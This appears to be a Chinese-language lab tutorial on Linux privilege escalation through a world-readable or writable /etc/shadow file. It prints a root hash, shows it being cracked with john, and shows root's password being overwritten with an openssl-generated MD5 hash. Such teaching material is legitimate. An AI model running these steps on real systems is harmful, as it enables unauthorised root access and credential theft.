Linux shadow 文件提权

1 shadow 提权说明

对于一个正常的 /etc/shadow 文件来说,他的权限如下所示:

1
2
3
root at kali in ~ 
$ ls -l /etc/shadow
-rw-r----- 1 root shadow 1478 Nov 5 23:01 /etc/shadow

根据所学权限可以看出,/etc/shadow 默认是主要 root 用户可读可写,root 组可读:

1
2
3
4
5
6
root at kali in ~ 
$ su kali

┌──(kali㉿kali)-[/root]
└─$ cat /etc/shadow
cat: /etc/shadow: Permission denied

切换到 Kali 用户可以发现,是没有查看权限的。

但是,假设运维人员突然抽了一下,将权限改为任意用户可读可写时,就会产生隐患:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
root at kali in ~ 
$ chmod o=rw /etc/shadow

root at kali in ~
$ ls -l /etc/shadow
-rw-r--rw- 1 root shadow 1478 Nov 5 23:01 /etc/shadow

root at kali in ~
$ su kali

┌──(kali㉿kali)-[/root]
└─$ head -n 2 /etc/shadow
root:$y$j9T$nbeaABSNWtVjwp5o0atow0$KcehnTyJIzHGild9ic3976qHrTDCr35tGXZ5vxN8wf1:19760:0:99999:7:::
daemon:*:19590:0:99999:7:::

这时使用 Kali 用户就可以查看该文件内容了。

这时我们需要做的就是:

  • 若是文件只可读,可以尝试爆破出相关账户的密码信息。
  • 若是文件可读又可写,可以尝试伪造一个用户,在密码占位符处指定密码,并且 UID 设置为 0,将其添加到 /etc/shadow 文件中。

2 shadow 文件可读

将用户信息进行保存:

1
2
┌──(kali㉿kali)-[/root]
└─$ head -n 1 /etc/shadow > /tmp/root_user.txt

使用 Kali 自带的 john 工具进行密码爆破:

1
2
3
4
5
6
7
8
9
10
11
12
13
──(kali㉿kali)-[/root]
└─$ john --format=crypt /tmp/root_user.txt
Using default input encoding: UTF-8
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
Cost 1 (algorithm [1:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 0 for all loaded hashes
Cost 2 (algorithm specific iterations) is 1 for all loaded hashes
Will run 8 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
root (root)
1g 0:00:00:00 DONE 1/3 (2024-02-07 16:13) 4.166g/s 400.0p/s 400.0c/s 400.0C/s root..root999994
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

可以看到成功爆破出密码。

注:这种场景可利用范围不广,一旦对方设置了强口令爆破基本是爆破不出的。

3 shadow 文件可写

既然 shadow 文件可写,可以有如下两种利用方式:

  • 创建一个新的用户;
  • 修改原有账户的密码。

创建用户之前演示过了,这里主要演示修改密码。

这里使用 openssl 工具生成加密的密码:

1
2
3
4
5
6
7
## 使用基于 MD5 的密码算法计算和加盐指定密码的哈希值,这里盐为 123456,后续需要填写密码,这里密码为 123
openssl passwd -1 -salt 123456

┌──(kali㉿kali)-[/root]
└─$ openssl passwd -1 -salt 123456
Password:
$1$123456$wWKtx7yY/RnLiPN.KaX.z.

直接修改 shadow 文件中 root 账户的密码:

1
2
3
4
5
6
┌──(kali㉿kali)-[/root]
└─$ vim /etc/shadow

┌──(kali㉿kali)-[/root]
└─$ head -n 1 /etc/shadow
root:$1$123456$wWKtx7yY/RnLiPN.KaX.z.:19760:0:99999:7:::

切换一下用户,查看是否成功:

1
2
3
4
5
6
┌──(kali㉿kali)-[/root]
└─$ su root
Password:

root at kali in ~
$